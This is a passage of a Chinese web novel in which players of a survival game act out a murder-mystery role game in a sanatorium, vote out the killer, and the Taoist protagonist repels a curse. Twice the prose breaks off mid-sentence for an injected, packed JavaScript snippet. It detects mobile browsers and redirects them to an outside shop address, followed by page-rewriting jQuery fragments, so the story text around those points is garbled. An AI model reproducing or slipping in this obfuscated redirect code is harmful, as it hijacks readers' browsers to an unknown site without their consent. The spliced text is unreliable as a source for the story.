两人隔着护士站的台面站着,声音压得很低,却带着毫不掩饰的火药味,争执的核心是科室副主任的升职名额。 院里已经定了,最终人选就在他们两人之间产生,金小元不仅手握核心项目,据说还是关系户,是板上钉钉的第一候选人,而晏星梧是他唯一的竞争者。 “晏医生,替我值班你也别委屈,论资历论项目,你都没资格跟我争。”金小元把值班表拍在台面上,语气里满是不屑,“安安稳稳呆在你现在的位置上,晚上继续值你的班,别想那些有的没的。” 晏星梧看着他,没说话,只是把手里的病历夹重重放在了桌上。 这一幕,被折返回来拿药的柏临深,还有刚换完班的陆天骄,尽收眼底。 下午五点零七分,203病房的癔症病人周岚突然急性发作,在病房里疯狂打砸,歇斯底里地尖叫着“我不许他走”。 刚登记完值班记录的晏星梧第一时间冲进去处理,刚按住情绪失控的周岚,就被她反手抄起的金属保温杯狠狠砸中了太阳穴。 一声闷响,晏星梧眼前一黑,直挺挺地倒在了地上,鲜血顺着额角往下淌,瞬间浸湿了白大褂的领口。 闻声赶来的陆天骄和柏临深立刻冲进去制住了周岚,手忙脚乱地把昏迷的晏星梧抬进了观察室。 等晏星梧再次醒来时,眼神空洞茫然,看着围在床边的人,连自己的名字都想不起来了。 脑震荡加应激性失忆,诊断结果出来的那一刻,他的主治医生身份被立刻撤销,院里紧急调派了副主任沈临玉接替他后续的工作,今晚先由金小元医生代班。 而失忆的晏星梧,被转入了105普通病房,从救死扶伤的医生,变成了疗养院里的一名病人。 晚上八点,金小元回到了三号病区,接替原本晏星梧的夜班。 他刚到护士站,就和来拿夜间用药的柏临深撞了个正着,柏临深提醒他107病房的方赛情绪依旧不稳定,夜间巡房要多加注意,金小元不耐烦地摆了摆手,只说自己知道了,然后进了医生办公室,再也没出来。 十点,陆天骄完成了夜间病区的安全巡查,锁上了东西两侧的安全通道门,把钥匙放回了护士站的抽屉里。 他经过107病房时,再次被里面的方赛叫住,方赛隔着铁门骂骂咧咧,说自己头疼要找医生,陆天骄冷着脸回了句“有事按呼叫铃”,就转身回了护工休息室。 十一点,副主任沈临玉来到护士站,和护士长柏临深核对了当晚的用药记录,又去105病房看了一眼失忆的晏星梧,确认他已经睡着后,便离开了病区,全程没有和金小元碰面。 凌晨十二点,病区的熄灯铃准时响起,除了走廊的应急灯,所有病房和办公室的灯都陆续熄灭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499256|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 203病房里,癔症病人周岚又开始小声啜泣,嘴里反复念着“不许走”,值班的柏临深过去安抚了近二十分钟,才让她平静下来,回到护士站时,已经是凌晨十二点二十二分。 凌晨一点,疗养院一楼突然跳闸,全部陷入了黑暗,等检修完成等再次亮起已经是一点一刻。 凌晨一点二十分,护士站的呼叫铃突然疯狂响起,是107病房的方赛按的。 柏临深立刻起身往病房走,刚到门口,就看到方赛捂着肚子蜷缩在地上,脸色惨白,说自己胃绞痛得厉害,要找值班医生。 柏临深立刻用对讲机呼叫医生办公室的金小元,可连呼了三次,都没有任何回应。 凌晨一点半,柏临深叫醒了休息室的陆天骄,两人一起往医生办公室走,办公室的门反锁着,无论怎么敲都没人应。 陆天骄强行撞开了门,眼前的景象让两人瞬间僵在原地—— 金小元倒在办公桌后的地板上,额头被钝器砸出了一个深深的血洞,鲜血浸透了身下的地毯,早已没了呼吸。 办公桌上的病历散落一地,窗户大开着,冷风卷着深夜的寒气灌进来,吹得纸张哗哗作响。 凌晨两点,沈临玉接到电话赶回了病区,第一时间封锁了现场,同时报了警。 他检查了现场,凶器是一把疗养院花园里园丁用的大钳子,上面没有任何新的指纹,金小元的死亡时间被初步判定在凌晨十二点半到一点半之间,办公室的门是从内部反锁的,窗户大开着,窗外的排水管上有新鲜的攀爬痕迹,初步判定凶手是行凶后从窗户翻出,顺着排水管逃离了现场。 而当晚在病区内的所有人,都成了嫌疑人。 画面到这里戛然而止。 翻涌的灰白色雾气散去,四角的天空重新出现在头顶,青砖地面依旧冰凉,石桌上的卡牌泛着冷光,所有人都从回溯的剧情里抽离出来,重新坐回了牌桌前。 晏星梧带着恍惚醒来,之前隐约的眩晕感彻底消失,所有记忆悉数进入脑海。 原来如此。 目前的状况委实有些棘手,他在别人看来也许是嫌疑最大的那一个。 “回溯结束,第一轮夜班轮次正式开启。” 主持人的声音落下,牌桌上的光线瞬间暗了下来,所有人的身影都被笼罩在黑暗里,看不到任何东西。 一分钟转瞬即逝。 光线重新亮起,六号位李悦的身影突然一寸寸变成飞灰,脸上带着惊诧和恐惧,全部消失前,她向桌子对面恨恨地看了一眼,一声惨叫都没发出来就彻底消失在了牌桌前。 “哦呀,可怜的六号,被凶手残忍杀掉了。”主持人啧啧有声,“让我们看看六号是什么身份?啊,原来是清醒病人!” “好了,各位可以按序发言了。”主持人指节敲敲桌面。 所有人的目光瞬间聚焦在陆天骄身上,他往前倾了倾身子,说:“凶手就在我们之间。” “我的身份是护工,我认为七号有问题,下午五点的时候,我和护士长亲眼看见他俩在护士站吵翻了天,就为了争抢升职名额,金小元还当众羞辱他,所以七号完全具有动机。” 陆天骄顿了顿,话锋一转,道:“但我还是那句话,这一轮我依旧建议全票出三号。我还有件事比较好奇,就是二号为什么要袭击七号,发言完毕,二号请吧。” 病号服女人周岚开口道:“我……我不是凶手,我也没有作案时间。” “为什么袭击七号,我不是故意的,上周四在活动室107号房的病人,就是三号,他突然冲过来抓住我,我被他刺激得精神状态一直不好,你们也看到了,那时候我癔症急性发作,被害妄想,已经分不清楚幻想和现实,我把七号当成了要来杀我的人,我是因为看到了一个拿着利器的黑影才发作的。” “砸伤七号之后,我被强制约束,绑在床上一直到晚上,八点之后我才被解开约束带,但病房门一直锁着。大家都看到了,当晚十二点熄灯之后,我的癔症发作,一直在病房里哭,柏护长一直在安抚我,他有记录,护士站的记录板上应该也有。他走了之后,一直到凌晨一点半听到外面的动静,我都没敢出门,全程都在病房里,根本没有时间去杀人。我说完了。” 主持人抬了抬眼,目光落在三号位的方赛身上,冷声道:“二号发言完毕,三号位,请发言。” 方赛猛地抬起头,头上一直戴着的卫衣帽子被他一把掀到脑后,露出一张布满戾气的脸,眼睛里布满红血丝,一开口就把矛头狠狠扎向了晏星梧,声音因为激动而尖利刺耳:“你们都被他骗了!七号!他才是真正的凶手!” 他的手指死死指着晏星梧,说:“所有人都看见了!他和金小元事竞争关系!金小元抢了他的项目和晋升副主任的名额,当众羞辱他,他恨金小元,所以他的杀人动机最大!你们居然还怀疑我?” “还有!”方赛猛地转头看向周岚,眼神里带着威胁和诱导:“二号,你自己说,你癔症发作,是不是因为他?你砸伤他,难道不是因为你看清了他心里藏着杀心?他就是想借着你砸伤他这件事,装失忆洗清嫌疑!哪有那么巧的事?计划杀人的前几个小时,刚好就失忆了?骗鬼呢!” 二号周岚被他吼得浑身一缩,深深低下头,垂下的头发遮住半张脸,让人看不清她的表情。 三号这时又把矛头转向了一号陆天骄:“还有一号,你是不是有病?我下午打了你一拳,你就非要把脏水泼我身上?我是狂躁症发作,不是杀人狂!我被关在107病房里,铁门从外面锁着,我怎么出去杀人?怎么去花园拿钳子?怎么反锁医生办公室的门?只有他晏星梧可以!他是医生,有全病区的钥匙,熟悉医生办公室的布局,知道监控的盲区,甚至连总闸在哪都一清二楚!” 他越说越激动,“六号李悦为什么死?因为她是清醒病人!她肯定看到了七号杀人的过程!所以晏星梧才连夜杀了她灭口!不然为什么不杀别人,偏偏杀一个全程没说过几句话的新人?” “我告诉你们,我就是个普通的病人,我和金小元无冤无仇,我根本没有杀他的理由!这一轮,我建议,全票挂七号,他才是真正的凶手!发言完毕!” 方赛的话音落下,整个人还在大口喘着气,眼神凶狠地扫过全场,试图用气势压过所有人。 沈临玉漫不经心地推了推鼻梁上的金丝边眼镜,镜片后的眼睛先扫了一眼面红耳赤的方赛,嘴角勾起一抹带着嘲讽的笑,他开口道:“三号不必如此激动,在这里并不是谁声音大谁就有理。” 14. 第 14 章 沈临玉继续道:“在我的视角里,我看到了一些新的线索。” “我的角色是接替晏医生后续工作的科室副主任,事实上,在得知107号病人的一些棘手行为后,出于身为副主任的责任感,我去调取了监控,医患档案还有沟通记录,经过多方面调查,我得到了一些有趣的信息。” “第一点,三号,你刚刚说你和死者金小元无冤无仇。”冷静的声音顿了顿,“据我所知,疗养院的鲁任佳护士是你的前女友,和你恋爱两年,三个月前和你正式分手,一个月前和死者金小元确定了恋爱关系,分手后的一个月里你还在屡屡纠缠鲁任佳护士,这个信息护士站所有护士都知道,一会儿可以跟我们的五号位护士长进行求证。” “在鲁任佳和金小元公开恋情的第二周,你以狂躁发作为由主动要求入院治疗。”沈临玉勾唇一笑,“因此,我合理怀疑,你对你的前女友心有不甘,对她的现任怀恨在心,甚至有极大可能向金小元发起报复。” “第二,我是当晚亲自给晏医生做神经系统查体的人,他的颅脑CT和生理反射异常,这些都是装不出来的医学指征。他从下午被砸伤昏迷,到凌晨两点案发,他全程在105病房,且有护士在进行一对一看护,半小时一次的巡房记录,病区的监控都能作证,他连病房门都没出过。请问,他怎么杀人?怎么顺着排水管往返病房和医生办公室?三号,就算是你想泼脏水也要有逻辑。” “当然,我并不否认七号确实有杀人动机,希望在接下来的发言中能听到关于他的行动轨。但三号选择隐瞒和撒谎就一定是有问题的,完毕。” 沈临玉的话音落下,石桌上一片寂静,方赛的脸涨得通红,死死攥着拳头,指节捏得发白。 五号位的柏临深开口了。 “我先回应一下四号刚刚提到的第一件事。”他抬眼看向方赛,“我是本病区的护士长,三号和鲁任佳护士的事,整个护士站无人不知。她和你分手之后,你连续一个月堵在护士站门口纠缠她,甚至在她值夜班的时候,频繁按病房呼叫铃骚扰,鲁护士不止一次跟我申请调班,避开和你碰面的时间,这些都有护士站的值班记录可查。” “第二件事,三号入院之后所有的发作、拒药、肢体冲突,全都是在金医生值班的时候发生的,非金医生值班的日子,你的病情基本平稳可控。我猜测,你是想以此来证明金医生的治疗方案有误,对吗?” 柏临深看向二号位,说:“此外,二号,你袭击晏医生,并非完全是癔症发作下的无意识行为,你对金小元医生存在极强的心理依赖和爱慕情绪。” 二号周岚猛地抬起头。 柏临深接着说:“你入院两年,一直是金医生负责你的诊疗方案,除了他给你开的药,你偷偷把其他医生开的药藏了起来或者扔掉,而且你病房的床头柜里,还收集了金医生开的所有处方单、他随手写的医嘱便签,甚至还有你偷偷拍的他的照片。” “上周四在活动室,三号跟你的冲突直接导致你情绪崩溃,我是第一个赶到现场分开你们的人,也听到了他向你提及晏医生的字眼,我想,他是不是跟你说了晏医生和金医生竞争的事?你以为金医生会被晏医生挤走,所以情绪崩溃?” 柏临深顿了顿,叹了口气,“你把这些话听了进去,对晏医生产生了敌意和恐惧,这也是为什么在你癔症发作时会把前去安抚你的晏医生当作要害你的人。二号,你并不全然无辜。我说完了。” 主持人的目光终于落在了七号位的晏星梧身上:“五号发言完毕,七号位,最后一位,请发言。” 所有人的目光瞬间聚焦在晏星梧身上,有探究审视,也有几分等着看他如何自证的好奇。 “唔,我不否认我和死者金小元有不可调和的矛盾。”晏星梧坦然迎上所有人的目光,淡定开口道:“他用不正当的手段窃取了我耗时一年的临床科研成果,还抢占了科室副主任的晋升名额,我确实对他有怨气。” “但我没有时间进行作案。”他看了眼脸色稍缓的方赛,话锋一转:“四号和五号已经说得很清楚,我昏迷后确诊脑震荡引发的失忆,一直到案发时间,全程都在105号病房,巡房记录、全病区的监控,都可以证明我没有踏出过病房一步,三号的对我的怀疑虽然合理但——” 他轻笑一声若有所指地继续说:“但显得智商,不太高的样子。我相信在座的各位能经历诸多,安然无恙地坐到这里,都代表诸位不是大傻子。” 晏星梧靠回椅背,语气稍稍放缓道:“案发当天中午,我午休时间在走廊转了一圈,隔着门听到了你在楼梯间打电话,你跟电话那头的人说,一定要让金小元付出代价。我当时只当你是出于对前女友另寻新欢的不甘,顶多是想找机会揍他一顿泄愤,万万没想到,你所谓的代价,是取他的性命。” “综上,我有杀人动机,但没有作案时间、作案条件,更没有机会实施杀人行为。发言完毕。” 主持人等晏星梧的话音落下,点了下桌子:“第二轮日班发言环节全部结束,现在进入匿名投票环节,三、二、一,请投票。” 石桌上的卡牌微微亮起,所有人同时投出了自己的选票,片刻后,主持人看着票型说:“投票结果,三号获得两票,七号获得两票,剩余两票弃权。平票,本轮无人淘汰,接下来进入第二轮剧情回溯。” 雾气再次涌现,包裹住所有人。 晏星梧睁开眼,无数画面交织在一起,最终定格在金小元倒在血泊里的画面。 这次的回溯时间比第一次要短一些,他闭了一下眼,把那些画面在脑海里快速过了一遍,然后将它们归位。 桌面上,其他人也陆续从回溯中抽离。 “第二轮回溯结束,第二轮夜班轮次正式开启。” 主持人的声音落下,牌桌上的光线再次暗了下来,众人又迎来伸手不见五指的黑暗。 晏星梧全身肌肉紧绷,做好了应对一切的准备。 光线重新亮起,牌桌上的人都还在原位,没有人被淘汰出局。 主持人脸上露出几分玩味的笑:“哦?凶犯本轮的灭口行动失败了,让我看看,哦!本轮凶犯选择的灭口目标是一号,而五号发动了护士长隐藏技能,为一号挡了致命一击。” 这句话一出,所有人的目光都齐刷刷地落在了柏临深和陆天骄身上。 陆天骄愣了一下,转头看向柏临深,眼神里带着几分诧异,而柏临深只是温和地笑了笑,向陆天骄点点头。 主持人开口打断了众人的目光交汇:“第二轮夜班轮次结束,现在进入日班发言环节,本轮无发言时长限制,允许交流,禁止打断。一号位。” 一号陆天骄先是对五号道了声谢,随即扭头看向三号方赛,眼神里带着冷意,道:“我从第一轮就挂你三号,现在我把话放出来,这局依旧全票出三号,有些话上一轮没说完,因为我还有想要确认的东西,现在我可以说了。” 三号位方赛从石凳上弹起来,喊道:“你胡说!你血口喷人!” “坐下。”主持人冷冷开口,一股无形的压力狠狠压在方赛身上,他踉跄了一下,只能不甘地坐回石凳上,眼睛死死瞪着陆天骄。 陆天骄嗤笑一声,根本没把他的歇斯底里放在眼里,他继续说道:“我知道你肯定不认,没关系,我把我看到的听到的,一五一十地说出来,让在座的各位都评评理。” “先说第一件事,案发当天上午十点,我推着清洁车经过楼下的花园——” 案发当天上午十点。 陆护工推着清洁车从疗养院出来,他准备先去倒垃圾,顺便看看花,感受感受新鲜空气,再去打扫活动室。 经过花园时,他无意间偏了下头,看到花丛里一个熟悉的身影殷切地蹲在花匠身边,好像是107号的病人。 因为107号方病人这几周以来的逆天行为,几乎全疗养院都认识这么一号人物。 他看到107号的方病人蹲在花匠身边,手肘搭在膝盖上,像是在听老刘说话,俩人正在窸窸窣窣地给月季剪枝松土,由于旁边灌木的阻挡,他们并没有看到他。 陆护工停在这里看了半分钟,心里啧啧称奇,没想到平时在病房一发病就拳打脚踢不服气的方病人还有这样的一面。 他收起心中的惊讶,一个狂躁病人偶尔安静一会儿倒也不是说不通,可能药物起效了吧。 他推着车走过,把这一幕抛在脑后。 “我当时觉得他只是难得正常了一会儿。”陆天骄说,“后来下午两点半多我去107送药,他把药杯打翻了,还给了我一拳。” “那时候我还想,上午看他状态挺好,怎么下午又犯病了?我以为是间歇性的,一会儿好一会儿坏,直到上一轮听完四号和五号的发言才想起来,他确实只在金医生该值班的时候才表现出发作的样子。怎么着,你这毛病还长眼了,拿金医生当靶子射?”陆天骄嘲讽道。 他无视了三号的怒目而视,继续说:“还有案发前几个小时,当天晚上——” 当晚十点整,陆护工将安全通道的挂锁扣死,晃了晃确认锁牢,转身往护士站走。 走廊的应急灯忽明忽暗,他路过107病房时,脚步下意识顿了顿。 病房门没有完全闭合,虚掩着一道两指宽的缝,里面没有开灯,却传来窸窸窣窣的布料摩擦声,还有金属碰撞的轻响,完全不像是病人入睡该有的动静。 他抬手想推开观察窗的挡板,里面的声响瞬间停了。 隔了两秒,方病人的骂声突然从里面炸出来:“看什么看?滚!” 陆护工皱了皱眉,只当他又犯了病,没多停留,转身把钥匙放进了护士站的抽屉,锁好抽屉回了休息室。 当晚凌晨,零点三十五分,陆护工被尿意憋醒,刚推开休息室的门,就看见走廊尽头的设备间方向有个身影闪了进去,身形清瘦,穿着熨帖的护士服,手里还攥着一串钥匙,正是柏护士长。 他有些疑惑,非检修时间,柏护士长去那里做什么? 他没出声,躲在走廊的阴影里看着,大约五分钟后,柏临深从设备间里走出来,脚步放得极轻,左右扫了一眼,快速折返了护士站。 陆护工见无甚大事发生,也转身回了休息室。 直到凌晨一点整,全院突然陷入一片漆黑。 陆天骄的目光直直落在柏临深身上,他问:“五号,我想问问你进设备间做了什么?凌晨全院跳闸和你有关系吗?” 柏临深脸上没有半分慌乱,道:“我确实进入了设备间,也是我做了手脚,设置了的定时断电。” 案发当天上午,柏护士长整理完当日的工作,准备核对药品数量时,无意间翻到了金小元签字的麻醉药品领用单。 麻醉剂的领用有着严格的管制制度,可这几张领用单上,领用数量和药房实际储存的数量,也对不上,前后差了整整五支。 他心里咯噔一下,立刻翻出了近三个月的领用记录,发现金小元每个月都会以某病人重症发作为由多领几支,签字栏和盖章也乱七八糟。 他起身去医生办公室想找金小元询问,可走到门口,就听见里面传来金小元打电话的声音,语气嚣张至极,甚至还说什么“就算被发现又有什么,这家医院里谁敢管我我就叫他后悔出生”。 柏护士长攥紧了拳头,悄无声息地退回了护士站。 他看着手里这几张异常的领用单,耳边全是金小元刚才在电话里说的话。 他不仅倒卖管制药品,还在电话里跟对面的人约好,凌晨一点整,趁夜间巡房的间隙,从医生办公室的窗户翻出去,顺着墙外的防盗网爬进药房窗户偷拿一批管制麻醉剂。 柏护士长心里有了计较,金小元背后有院领导撑腰,没有抓现行的铁证,就算他拿着领用单去举报,最后也只会被压下来,甚至会被金小元反咬一口恶意构陷。 唯一的办法,就是等金小元动手的时候,把他堵在药房里,人赃并获,让他百口莫辩。 他们疗养院的安保机制是,药房的门禁系统和全院主电源绑定,一旦主电源断开,药房所有出入口的应急锁会瞬间锁死,只要他在金小元计划行动的时间点断开主电源,就能把金小元困在药房里,到时候他带着人过去,正好抓个正着。 于是当晚他进设备间对电源系统动了手脚,只等凌晨一点断电的瞬间,就立刻叫醒陆护工一起去药房堵人。 可他万万没想到金小元不仅没去药房,还在他自己的办公室里出事了。 “这就是全部原因。”柏临深温和的脸上没什么波澜,“只是没想到金医生在办公室里遇害了。” 陆天骄点点头,正要开口,可三号方赛却在这时开口道:“太好笑了,你怎么证明你们不是合谋的?你拉闸就是为了给凶手鲨人创造机会才对吧?不然哪有这样巧的事?” 四号锐利的目光看向他,道:“三号,你是反驳人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499257|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格吗?别人说什么你都反驳?” 他转着手里的笔,又道:“五号的行为有完整的动机链条和物证记录,你拿不出半点实质性的证据,只会空口扣合谋的帽子,除了能证明你慌了,你想靠搅浑水乱中求生,没有任何意义。” 方赛的脸涨得通红,刚要张嘴反驳,沈临玉却根本没给他开口的机会,话锋陡然一转,目光落在了七号位的晏星梧身上:“当然,我也不是说五号的行为完全没有疑点,至少他的这场断电,确实给凶手创造了完美的行凶窗口期。但比起这个,我更好奇另一件事,七号。” “案发当天下午,我发现你在二号病区打了一通电话,那时我正在二号病区结束一场会诊,恰好看到了这一幕。后来调取内线通话记录,那个时间点,这台电话只拨出过一个号码,107病房的分机。” “请问七号,你在三号病区工作,平时离107号病房更近吧,完全可以自己过去说,为什么要绕远打电话呢?” 三号方赛恍然大悟:“原来是你!” 晏星梧迎上所有人的探究目光娓娓道来。 那天中午,晏医生清楚听到方赛打电话,恶狠狠地说要让金小元付出代价,那句“抢了我的人,我就要他得到一个教训,迟早会狠狠揍他”,此刻在脑子里反复回响。 前一阵他刚得知晋升的名额落在了金小元的头上,他想,或许这样的恶人就该被恶人磨。 如果只是揍一顿的话…… 鬼使神差地,他来到了二号病区,按下了三号病区107号房的分机号,电话接通的瞬间,他压低了嗓子:“今晚十点金医生会来三号病区进行会诊,灯光电路十一点开始检修一小时,请知悉。” 挂掉电话,晏医生站在原地愣了半分钟,猛地回过神时后背已经出了一层冷汗。 没事的,只是关掉灯光电闸而已,只是借他的手给他一个教训,仅此而已。 在疗养院里也不会有什么大动静……他不停地安慰着自己,然后回了三号病区。 然而,案发当天下午五点多,他被一击击中了头,当场昏迷,醒来后也失了忆,关掉电闸的打算自然也被搁置了。 晏醒悟笑笑说:“由于失忆,计划并没有执行,祖师爷祖师奶在上,看样子是老天不让我做这些坏勾当。” 方赛瞬间像是抓住了救命稻草,指着晏星梧说:“所以是他!是他主动给我打的电话!是他告诉我金小元的行踪还说会关灯!我就是接到了他的电话,才想着趁黑揍金小元一顿出出气!凶手就算不是他也是帮凶!” “我承认我恨金小元,他抢了我女朋友,我确实想揍他一顿解气,可我没胆子杀人!真正有问题的不止他七号,还有四号沈临玉!” 方赛的手又指向沈临玉,语气斩钉截铁:“你们别被他这副道貌岸然的样子骗了,当晚十点多,我看见他从消防通道溜进病区,鬼鬼祟祟钻进了楼后的花园,一直躲到十一点左右,才假装刚从院外过来,他说自己十一点多才到病区,全是撒谎!他躲在花园的一个小时,谁知道他干了什么?说不定就是他趁这个时间,摸进医生办公室杀了金小元,他是科室副主任,有全病区的钥匙,熟悉所有监控盲区,杀了人再伪造现场,简直易如反掌!破案了哈哈哈!他才是真正的凶手!” 这句话一出,晏星梧瞬间皱紧了眉,连陆天骄都微微侧目,所有人的目光齐刷刷地转向沈临玉,等着他的解释。 沈临玉道:“当晚十点十七分,我从消防通道进了病区来到花园,这没错。” 他坦然承认得太过干脆,反倒让方赛愣了一下,随即更激动道:“你们看!他承认了!人就是他杀的!可以投票了!” “闭嘴。”沈临玉冷冷瞥了他一眼,说,“我十点多到病区,是因为柏护士长提前给我发了消息,把金小元长期伪造签章和违规倒卖管制药品的证据发给了我。我提前回来,是做双重准备,如果金小元从窗户逃脱,那么我就是直接目击者。” “不过三号,我问你,”沈临玉往前微微倾身直视方赛,“我去花园,全程没走病区正门,没惊动任何人,如果你真的像你说的那样,一直锁在107病房里,你是怎么知道我十点多从消防通道进了花园?” 方赛的脸唰地沉下来,张了张嘴半天挤不出一个字。 “怎么不说话了?”沈临玉勾唇冷笑,“是编不出理由了?还是忘了自己之前说过什么?” 这时,主持人打断了讨论:“时间到,现在进入最终匿名投票环节。” 石桌上所有人同时投出了自己的选票,片刻后,主持人扫过票型,开口道:“投票结果,三号,获得五票。四号,获得一票。其余玩家零票。” “得票最高者三号玩家的身份是,凶手。恭喜各位,成功捉凶。”主持人说完便消失了。 【身份核验无误,三号玩家方赛确认为本局唯一凶犯。】 【本局游戏结束,所有存活玩家将平分3000金币,发放疗养院身体机能提升卡一张。】 系统提示音落下的瞬间,方赛猛地爆发出一声嘶吼,整个人状若疯魔:“不可能!我明明做得天衣无缝!是你们合起伙来坑我的!对不对!” 他恨恨地看着其他玩家,他猛地从怀里掏出一块漆黑的木牌,木牌上刻着扭曲的血色符文,道具启动的一瞬,整个小院瞬间被阴冷的黑气笼罩。 “是诅咒道具!”陆天骄暗骂一句,“他大爷的,我的防御道具防不了诅咒!” “都去死吧!”放赛大吼一声,咬破指尖把血滴在木牌上,阴冷的黑气暴涨。 晏醒悟纵身一跃,一个翻身翻到石桌另一头,把其他玩家都挡在身后。 他往前踏出一步,指尖掐诀,丹田内的光团飞速转动,清润的嗓音带着凛然的正气。 “……金光速现,覆护真人。急急如律令!”(注1,见作话) 万丈金光从他身上迸射而出,变成一面金色的半圆形屏障将他们都护住。 晏星梧指尖转换,化为剑指,直至黑气:“……凶秽消荡,道炁长存!”(注2) 清冽的水光从他指尖炸开,将翻涌的黑气消融得干干净净,那块诅咒木牌也应声碎裂,化为粉末消散在空气里。 反噬的力量瞬间反噬到方赛身上,他惨叫一声,整个人被无形的力量狠狠掀飞出去,身体以肉眼可见的速度变得透明。 身后,沈临玉看着满天水光消散的痕迹,看着身前的晏星梧若有所思。 15. 第 15 章 【警告!玩家方赛违反游戏规则,游戏结束后恶意攻击存活玩家,启动抹杀程序!】 红屏警告瞬间铺满了所有人的视野,一道刺目的白光从天而降,方赛的身体在白光里崩裂,化作了漫天飞散的血雾。 只有他那件沾着血污的红卫衣,被气浪掀得飞起来,不偏不倚“啪”地一下,糊在了陆天骄脸上。 温热的血污蹭了满脸,结结实实地给他鼻子嘴巴都捂了个严实。 陆天骄先是僵了两秒,随即爆发出一声咆哮,一把扯下脸上的卫衣狠狠摔在地上,疯狂擦脸:“靠靠靠!扑街啊方赛,死了都要恶心人啊!” 他越擦越花,血污蹭得满脸都是,他额角青筋都蹦起来了,一边擦一边往沈临玉身边冲:“难睇哦!沈社长!沈哥!救命!帮帮忙,异能借我用用吧我真要吐了!啊啊啊!” 沈临玉被他这副样子逗得低笑一声,抬手间便聚起一团莹白的水流,精准地把陆天骄脸上的血污卷了个干净,一点痕迹都没留下。 “真是救大命了,多谢我沈哥。”陆天骄松了口气,抹了把脸,“下回给你们惊蛰社打九折。” 柏临深也笑了一声,问:“只有九折吗?” 陆天骄抱拳做求饶状:“对唔住啦,二当家就这点权限。” 他又扭头冲晏星梧抱了抱拳,说:“晏先生,刚才多谢你了!多亏你驱散那黑气,不然我怎么也得被他那破debuff缠半个月。我叫陆天骄,会发商行二把手,有时间一起组队下副本啊!” 他又急急忙忙冲大家挥了挥手说:“我要回主城洗澡去了,先走一步!” 说着便白光一闪,消失在副本里。 其他玩家也陆陆续续离开,院子里安静下来,只剩下晏星梧和并肩站着的沈临玉和柏临深兄弟俩。 “晏先生的异能真是惊为天人,刚才多谢了。”沈临玉率先开口道。 晏醒悟笑笑说:“叫我名字就好,我叫晏星梧。” “好啊,星梧应该刚进游戏没多久吧,不然以你这么厉害的特殊异能,早该在主城出名了才对。”柏临深接过话头。 “哈哈,哪里哪里。我看沈先生也是特殊异能,是水系?”晏星梧问。 “没错,我是水系,我弟弟是木系,说起来,瞬墟里觉醒特殊异能的玩家,不到百分之一,算是比较罕见,我们之前还推测可能特殊异能都会和五行能量有关,没想到这次又开了眼界。” 沈临玉顿了顿,又说:“说实话,我们哥儿俩对晏先生的异能很感兴趣,不知晏先生方不方便一会儿回了主城到惊蛰社喝杯茶?” “对对对,我们没有别的意思,如果星梧你担心安全问题的话我们可以用契约道具立誓。”柏临深补充道。 “我刚刚使用的不止是异能,还有家传的道术,我在现实里是个道士。”晏醒悟说,“我也很愿意跟二位交个朋友,但我还有任务没完成,现在不能离开副本。” 沈临玉和柏临深惊讶对视一眼。 “什么?我们进的不是同一个副本吗?”沈临玉往前走了半步,语气疑问里带上了些许严肃。 晏星梧其实也没搞清楚这次的副本是怎么个机制,只能把之前的情况同两人说了说,二人听完,眼里的疑虑更甚。 柏临深皱皱眉头,有些担忧道:“和现实相连接的副本我们只进过一次,难度至少要比寻常本高出一个等级。你是一个人进来的吗?刚好现在副本倒计时还没结束,要不然用组队道具吧我们留下来帮你吧,也能多一分照应。” 沈临玉也在旁边点头。 “不用了,多谢。”晏星梧笑着摇摇头,温和道,“我可以应付得过来,你们的传送倒计时也快到了,别因为我被游戏另扣积分。” 兄弟二人看他态度坚决,也不再劝,只是从口袋里拿出一枚大树状的徽章递给晏星梧,说:“那我们就不啰嗦了,这是一枚防御徽章,可以抵挡一次中度物理攻击,你一定小心。” “对,星梧,我们是真的有事情想要和你聊聊,那就等你出了瞬墟到现实里再说吧,我们要怎么才能找到你呢?”柏临深问。 晏星梧接过徽章,笑道:“多谢,我住在甲省乙市望道山上的守一观,欢迎来找我玩。” “没问题,过两天我们就去找你,希望那时候你已经平安回家了!”柏临深冲晏星梧用力挥了挥手,话音刚落下,兄弟二人的身影便在白光里渐渐消散,退出了这个副本。 院子里的白光散去,只剩下晏星梧一个人,他低头看了眼掌心的徽章,认真收好在贴身口袋里。 游戏的主线任务还悬在识海里,他摸了摸兜里那枚冰凉的银钥匙,转身顺着消防通道,往疗养院的地下二层走去。 越往下走,空气越阴冷,消毒水的味道渐渐被那股甜腻腻又混着福尔马林的诡异气味取代。 地下二层的走廊两侧的门紧闭着,晏星梧掐着指诀,一边警惕着周围的动静一边顺着房门编号一路往里走,终于在走廊的最尽头,找到了标着B217的房间。 锁孔和他手里的钥匙很契合,门开了,房间里的声控灯光自动亮起。 房间里立着几排金属柜子,看起来这里是一间档案室。 晏星梧挨个翻找档案柜。最外面的柜子里全是疗养院病人的诊疗档案,中间点是药品领用和设备维护记录,直到他拉开最里面那排最下面的那个柜子,一抹鲜亮的绿色撞进了眼里。 那是一个印着小熊刺绣的绿色双肩包,软乎乎的布料,可爱的款式,和这间阴冷压抑的档案室格格不入。 应该就是这个了。 晏星梧伸手把背包拿了出来,拉开拉链。 里面的东西不多,夹层里放着一张学生证,照片上的女生笑得很干净,正是林暮回本人,上面写着—— XX大学,xxxx级,摄影系,林暮回。 